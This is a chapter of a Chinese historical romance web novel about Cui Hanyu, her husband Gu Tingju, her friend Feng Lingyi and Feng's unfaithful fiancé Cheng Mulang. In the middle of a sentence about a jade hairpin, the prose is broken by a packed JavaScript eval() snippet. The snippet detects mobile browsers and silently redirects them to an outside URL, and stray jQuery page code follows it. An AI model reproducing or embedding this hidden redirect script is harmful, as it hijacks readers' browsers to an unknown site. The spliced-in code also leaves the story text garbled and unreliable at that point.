崔晗玉不知自己是何时睡过去的。
她倒在顾廷居的怀里,被浅淡酒气和男子惯用的沉香包裹,睡得香甜,梦里见到一个脸戴面具的男子,在午后的斑驳树影中若隐若现。
“是你。”
她笑吟吟走上前,上下打量男子的穿着,比上次花灯会的着装合体得多,至少没有露出手腕和脚踝。
男子还是布衣打扮,整洁素净,可脸上的面具实在突兀。
“你为何总戴着面具?”
“秘密。”
“嗓子还没好啊?”
男子点点头,问道:“你怎么一个人跑出来?”
“秘密。”
她摆了摆手,示意自己先行一步,一个人沿着清幽的小巷走着,几分孤寂环绕周身。
察觉到身后有人跟随,她扭头问道:“你怎么一直跟着我?”
“顺路。”
她半信半疑,继续独行,可走着走着慢了脚步,允许男子跟在自己身侧。
愁容渐渐溢出眉间。
这还是她第一次与陌生人倾诉心事。
“爹爹看中一名后生,想要招为女婿,可我还不想成亲。”
“那后生被朝廷指派前往地方历练,一年半载不回京,我都没有机会见到他,如何了解他的脾气秉性?”
“可爹爹说,别人都是盲婚哑嫁,我该知足,还有他这个父亲把关。”
她嘀嘀咕咕,也不在意陌生人是否听了进去,倾吐着烦闷和忧虑。
“不妨书信往来。”男子忽然开口。
“书信?”
“字里行间也能透露一个人的性情喜好,可以书信往来试探是否合得来。”
睡梦中的崔晗玉蹭了蹭被自己揣进怀里的手,嘟囔一句“你说得对”。
**
距离冯氏嫁女还有小半月,崔晗玉陪伴冯令宜前往一家老字号布桩,原以为是陪好友挑选布料,没曾想,是好友打算为未婚夫裁剪几套衣衫。
崔晗玉兴致缺缺,全程不给意见。
冯令宜挑选得仔细,“待会儿咱们再去临街的玉石铺子一趟,我打算为沐朗挑选一些玉冠和配饰。”
“程副统领没有给侄子准备?”
“沐朗说,他婶子出于嫉妒,对这幢婚事敷衍得很。”
“嫉妒什么?”
“大概就是嫉妒他能与尚书的女儿定亲吧。”
崔晗玉都不想搭理自己的好友了,被甜言蜜语冲昏头脑,那厮说什么她信什么。
“人家好歹收留他十几年,送他读私塾,还赠送婚宅,莫大的恩情,他不念恩就算了,还出言诋毁,我是不敢恭维。”
未婚夫被好友说成白眼狼,冯令宜有些不悦,“你对他好大的偏见。”
静幽的小店,诡异气氛充斥在多年的闺友间。
好心被当成驴肝肺,崔晗玉扭头看向车水马龙一片嘈杂的店门外,心头似有车轮碾过、马蹄踏过。
生疼生疼的。
往事一桩桩,那些苦口婆心的劝说成了破坏人家感情的恶言。
说不心凉是假。
“是我多管闲事。”
“我不是这个意思。”冯令宜赶忙拉住崔晗玉的手,小幅度地晃动起来,“好晗玉,是我话重了,你别往心里去。”
**
崔晗玉是生着闷气回府的,与冯令宜初遇那日的场景已经模糊,自记事起,她们就是亲密无间的玩伴,互为倾诉,互为聆听,谁也没有不耐烦过,也未曾敷衍过对方。
崔晗玉在床上砸了几下,将自己闷进被子里。
二进院的婆子来传话时,她正拉着翠瓶细数程沐朗的不是,一件件有理有据。
“君子当光明磊落,他背地里的小手段太多了,连小聪明都算不上,就是虚伪做作的小人。”
“夫人请少夫人过去一趟。”
崔晗玉胡乱抹了一把脸,穿上绣鞋与婆子去往二进院。情绪来得快、去得也快,性子使然,她不会让自己一直陷在低落中。
“娘有事寻我?”
正在庭院里亲自修剪花草的董珍茹直起腰,提起掌家一事。
崔晗玉自知理亏,这段时日与冯令宜走动频繁,没有担起长媳的责任。
董珍茹跨出花圃栅栏,拍了拍手上的尘土,“娘不是催你,只是想问问你,出嫁前可有掌家的经验?”
崔晗玉点点头,母亲身子骨弱,长姐入宫为后,唯一的弟弟又常年闭门不出,府中账目、中馈等事务时常需要她来经手。
不过,她也不是样样精通,父亲无妾室,府中人事并不复杂,而顾府不同,妾室和庶出共六人,分拨给妾室院落的家仆又有数十人,这部分人事、账目还有庶女的婚事,都要花费掌家者的精力。
董珍茹带着崔晗玉走到六角凉亭,一针见血地指出崔晗玉在掌管复杂人事上缺乏经验。
“那就先从认全府中家仆做起吧。”
掌家总要与仆人们打交道,董珍茹知道儿媳近来忙于好友的婚事,打算让她先从简单的事务做起。
傍晚暮云缭绕,崔晗玉坐在小桌前,翻看家仆的名单和出身,遇到没有印象的名字,便让兰廷苑的管事婆子将人唤来。
“嗯,我记住了,你去歇着吧。”
女子记得认真,没有注意到已经回府的顾廷居。
顾廷居站在庭院外,看着仆人进进出出。
管事婆子发现月亮门外的长公子,立马迎上去,“公子怎么不进屋?”
“不想打断她。”
顾廷居随意坐在游廊的美人靠上,等仆人不再进进出出,他才不紧不慢地走进月亮门,迎上崔晗玉投来的狐疑视线。
“你几时回来的?”
“有一会儿了。”
崔晗玉叫人搬走摆放在门口的桌椅,走到顾廷居身边,“今晚还要忙吗?”
“不忙。”
“我想与你请教棋艺。”
崔晗玉也不扭捏,如实说出心中想法,“那日与邹侍郎对弈又经你复盘后,我的脑子里总有一场未完的棋局。”
是反复思考后有所收获想要验证自己棋艺有无进步吧,顾廷居越过她,留下一句“跟上”。
一炷香的工夫,崔晗玉端坐在西卧的棋桌旁,与对面的顾廷居安静对弈,身侧没有旁观者,也没有军师,全凭她对顾廷居棋路的理解。
他喜欢以退为进,她就先筑坚固防守,保证后方无忧,再行进击。
可这一次,顾廷居转变了思路,猛烈攻击,接连包围她大片棋子。
“怎么这样。”
顾廷居问:“要悔棋吗?”
“落子不悔。”
顾廷居唇角微提,落下一子,局势再无逆转的余地。
溃不成军的崔晗玉傻了眼,紧张的弦无声崩断。看来,对顾廷居见招拆招是个错误决定,他的战术瞬息万变。
“还要再来一局吗?”
落败的女子又提起劲头,“要。”
和顾廷居这样段位的高手下棋,输也受益。
两人对弈至深夜,没有取胜一局的崔晗玉倒在东卧的床上睡得安稳,西卧书案前一盏烛台荧荧,顾廷居安静处理着带回来的公牍。
与月为伴。
可天气亦是瞬息万变,没过一会儿,桂魄隐云端,天地暗淡。
在长公主府外守望多时的程沐朗困意全消,躲在路旁老树后,目视主仆二人走下马车,走进府门。
长公主的身量与他相差无几,衬得一旁的蔡雀儿娇小玲珑。
府门开合,一瞬的欣喜在无人注意的角落渐渐消失,随之生出难耐的空虚,程沐朗从梧桐树后走出,靠在树干上闭合眼帘。
应酬归来的酒意被风吹散。
“你在等我?”
程沐朗猛地睁开眼,不可置信地看向出现在不远处的女子,他惊慌地站直身体,想要否认,又在女子笑盈盈的妩媚娇颜中木讷点头。
“在下是来向姑娘道谢的。两次搀扶之恩,铭记心头。”
女子掩袖又是一笑,“多大的恩情啊,需要铭记心头?”
“在下不敢忘记,特备薄礼相赠。”他掏出衣襟内的玉簪,躬身双手呈上。
莹润的玉
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485474|201978||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
簪在月下散发柔美光泽,懂行的人都能一眼辨出此物的价值。
这簪子正是冯令宜亲自挑选的。
程沐朗不觉得愧疚,赠予他的便是他的私有物。
回去的路上,男子展颜浅笑,从前不懂何为情难自禁,被蔡雀儿三、两句话惹得心头悸动。
冯令宜生得明艳,却少了妩媚风情,太过纯净,他在梦里都不敢肖想,可蔡雀儿每晚都会入他的梦。
她是长公主的宠婢,圆滑精明,比不谙世事的冯令宜知他懂他。
**
冯令宜大婚前几日,崔晗玉收到一件事先预订的工艺品,以翡翠雕刻的睡莲,底座选用的是金丝楠木。
饶是见惯奇珍异宝的次辅顾长川都惊叹工匠手艺巧夺天工。
崔晗玉心想花了大价钱呢,她差人将睡莲抬去兰庭苑,仔细欣赏,这是送给冯令宜的大婚贺礼。
在她心里,冯令宜与睡莲一样高雅。
想着想着,不免心酸。
“很精致。”
崔晗玉扭头看向走来的顾廷居,今日休沐,他没有去往大理寺。
“当然精致。”崔晗玉比划个数目,足足三百两。
顾廷居眼皮未眨一下,只问:“不是该我们夫妇一同赠送贺礼吗?”
夫妇?
陌生又熟悉的称呼令崔晗玉微微错愕,她轻哼一声:“当作是咱们一同赠送的好了,便宜你了。”
顾廷居失笑,走进西卧,折返时塞给崔晗玉一张银票。
要分摊吗?一百五十两?
崔晗玉摊开银票,水灵灵的杏眼溢出不解,她看向顾廷居,“给我的?”
“我没有在贺礼上花费心思和精力,都是由你操劳,辛苦。”
谁会跟银票过不去啊!崔晗玉揣好五百两银票,没忍住笑出声,“一家人无需客气。”
顾廷居看着她小财迷上身的模样,淡淡摇头。
距离大婚前三日,何知微组局做东,邀请崔晗玉和冯令宜乘车前往郊外一处温泉泡澡。
三人同乘一辆车,由何府的马夫韶野驱车穿梭片片枫叶林。
不是观赏枫叶的深秋,被邀的两人无法借赏景转移尴尬。
冯令宜偷瞄了崔晗玉好几次,始终没找到打破僵局的机会,她无意中注意到半卷竹帘外马夫的腰身,俯身小声道:“韶野的腰不错。”
淑女可不会随意评价男子的身材,何知微贱兮兮地笑道:“这会儿后悔还来得及。”
“淑女不夺人所好。”
何知微嗤一声,“我还要寻我的恩公呢。”
与崔晗玉的母亲一般,何知微生来羸弱,还患有哮喘,何大将军便将自己的一名暗卫送给女儿做马夫,屈才是屈才了,但冯大将军爱女心切,看不得女儿因体弱被人轻视,身边有个身强力壮的随从,可增添气势。
崔晗玉问道:“三年了,半点线索都没有?”
“若寻得到,本姑娘早就成亲咯。”
冯令宜来了兴致,凑近两人,故意挨着崔晗玉的肩膀,被避开也不介意,继续贴上去,“若恩公不乐意呢?”
何知微挥了挥手臂,做出洒脱姿态,“不乐意就算了呗,还能恩将仇报逼人家娶我?”
崔晗玉避开硬凑上来的冯令宜,在她近乎谄媚的笑里高傲地哼了一声。
冯令宜挽起崔晗玉的手臂,“好晗玉,别气了,这几日,我吃不好,睡不香,梦里都在求你和好。”
崔晗玉抖了抖手臂,被何知微踢了下小腿。
“差不多得了。”
“你敢打她?”冯令宜踢了何知微一脚,替崔晗玉出气。
崔晗玉掐住冯令宜的脸,“你不准踢她。”
“就踢她,谁让她打你!”
崔晗玉再绷不住,笑出了声,伪装的高傲骤然褪去。她弹了冯令宜一个脑瓜崩,恶狠狠地道:“恩怨全消。”
冯令宜抱住她,如同少时每一次拥抱,用力而热切。
**
一座小宅,装潢崭新,一对男女身影纠缠,缠络在由冯尚书为女儿重金打造的喜床上。